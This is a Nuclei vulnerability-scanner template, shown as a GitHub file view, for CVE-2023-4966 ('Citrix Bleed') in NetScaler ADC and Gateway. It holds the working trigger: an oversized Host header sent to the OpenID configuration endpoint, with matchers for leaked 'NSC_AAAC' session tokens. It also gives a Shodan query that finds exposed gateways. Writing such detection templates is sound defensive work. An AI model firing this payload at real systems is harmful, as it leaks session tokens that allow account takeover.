/
CVE-2023-4966.yaml
56 lines (50 loc) · 1.66 KB
/
CVE-2023-4966.yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
id: CVE-2023-4966
info:
name: Citrix Bleed - Leaking Session Tokens
author: DhiyaneshDK
severity: high
description: |
Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA ?virtual?server.
reference:
- https://github.com/assetnote/exploits/blob/main/citrix/CVE-2023-4966/exploit.py
- https://www.assetnote.io/resources/research/citrix-bleed-leaking-session-tokens-with-cve-2023-4966
- https://x.com/assetnote/status/1716757539323564196?s=20
- https://www.netscaler.com/blog/news/cve-2023-4966-critical-security-update-now-available-for-netscaler-adc-and-netscaler-gateway/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-4966
cwe-id: CWE-119
epss-score: 0.00751
epss-percentile: 0.78895
cpe: cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
metadata:
verified: "true"
max-request: 1
shodan-query: title:"Citrix Gateway" || title:"Netscaler Gateway"
tags: cve,2023,citrix,adc,info-leak
variables:
payload: '{{repeat("a", 24812)}}'
http:
- raw:
- |+
@tls-sni: {{Hostname}}
GET /oauth/idp/.well-known/openid-configuration HTTP/1.1
Host: {{payload}}
Connection: close
unsafe: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '{"issuer":'
- 'NSC_AAAC='
condition: and
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200